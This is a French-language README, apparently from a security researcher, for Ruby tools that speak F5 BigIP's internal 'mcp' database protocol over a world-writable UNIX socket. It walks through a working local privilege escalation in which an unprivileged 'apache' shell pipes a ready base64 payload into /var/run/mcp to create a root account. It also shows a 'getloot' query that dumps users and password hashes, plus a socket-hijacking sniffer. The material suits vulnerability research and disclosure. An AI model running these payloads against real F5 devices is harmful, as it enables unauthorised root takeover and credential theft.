
Une implémentation du protocole `mcp` de F5, incluant des outils MitM pour renifler le trafic lors de la chasse aux vulnérabilités.
Ce n'est pas vraiment terminé ni prêt, mais je voulais déposer le code.
Ceci implémente en gros le protocole de base de données de F5, « mcp », qui fonctionne via une socket de domaine UNIX. Cela signifie que vous devez disposer d'un shell sur l'équipement F5 avant de pouvoir utiliser l'un de ces outils. Vous transférerez généralement la sortie d'un script vers /var/run/mcp avec socat, puis vous enverrez la réponse à mcp-parser.rb. Plus de détails ci-dessous.
Un résumé rapide des scripts :
mcp-getloot.rb - Génère un message qui extraira les utilisateurs et les variablesmcp-privesc.rb - Génère un message qui créera un compte utilisateurmcp-parser.rb - Analyse les messages mcp arrivant sur stdinmcp-mitm.rb - Écoute les messages mcp sur un hôte cible (nécessite qu'un accès ssh root sans mot de passe soit configuré)mcp-builder.rb - Une bibliothèque pour construire des messages mcp (pas besoin de l'utiliser directement)mcp-generateobjects.rb - Un outil pour générer mcp-objects.txt (vous ne devriez pas en avoir besoin)MCP est une base de données propriétaire (pour autant que je sache) utilisée par F5 BigIP. Elle est accessible via /var/run/mcp, une socket de domaine UNIX avec les permissions 0777 (c'est-à-dire que n'importe quel utilisateur peut y accéder).
Le protocole est de style TLV, avec tout un tas de types (plus de 41 000). Ils sont tous listés dans mcp-objects.txt.
J'ai implémenté un analyseur que vous trouverez dans mcp-parser.rb, et vous pouvez trouver tout un tas de messages différents dans mcp-parser-tests.rb.
J'ai également créé un constructeur, mcp-builder.rb, même s'il n'est pas vraiment conçu pour être facile à utiliser. Nous avons néanmoins une fonction prédéfinie qui crée un paquet MCP pour un compte utilisateur de niveau root, ce qui est plutôt cool. Vous pouvez utiliser mcp-privesc.rb pour créer ce paquet.
Pour communiquer directement avec MCP, vous utiliserez généralement socat. Le code de mcp-builder.rb peut créer des paquets, mais n'est pas conçu pour être exécuté directement. Les scripts que vous voudrez probablement utiliser directement sont :
mcp-getloot.rb - pour obtenir les utilisateurs et les paramètres de configurationmcp-privesc.rb - pour ajouter un nouveau compte de niveau rootmcp-parser.rb - pour analyser la réponse (sur stdin)Pour utiliser l'un des scripts de requête, exécutez-le et trouvez un moyen d'envoyer la sortie dans la socket UNIX sur la cible. Voici un exemple où nous compressons avec gzip et encodons en base64 la sortie de mcp-privesc.rb :
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
Ensuite, nous pouvons le copier-coller dans une session ssh sur la cible, où il est envoyé à la socket UNIX (notez que nous le faisons en tant qu'utilisateur non-root pour démontrer que c'est possible) :
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
Nous pouvons aussi analyser la réponse obtenue avec mcp-parser.rb :
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
Vous pouvez, bien sûr, tout faire en une seule commande ; voici comment utiliser mcp-getloot.rb :
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
J'ai également écrit un outil pour inspecter/enregistrer les requêtes de base de données en temps réel - mcp-mitm.rb. Ce n'est pas un exploit, c'est juste un outil d'analyse qui nécessite une connexion root. Concrètement, il déplace /var/run/mcp et le remplace par une socket que nous contrôlons, puis analyse tous les messages qui la traversent.
Pour l'exécuter :
ssh root@<target> sans mot de passe ni autre saisie (ou modifiez le code et désactivez DO_SETUP)À peu près tout « dommage » potentiel est réparé par un redémarrage, puisque la socket est créée au démarrage, mais vous ne voulez probablement pas faire ça en production.
Quoi qu'il en soit, exécutez-le sans arguments pour obtenir l'utilisation, puis renseignez les adresses IP importantes :
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
Si vous attendez un peu (ou faites des choses sur le serveur), vous verrez des sessions :
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c l'arrêtera et réparera la socket :
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
Et voilà !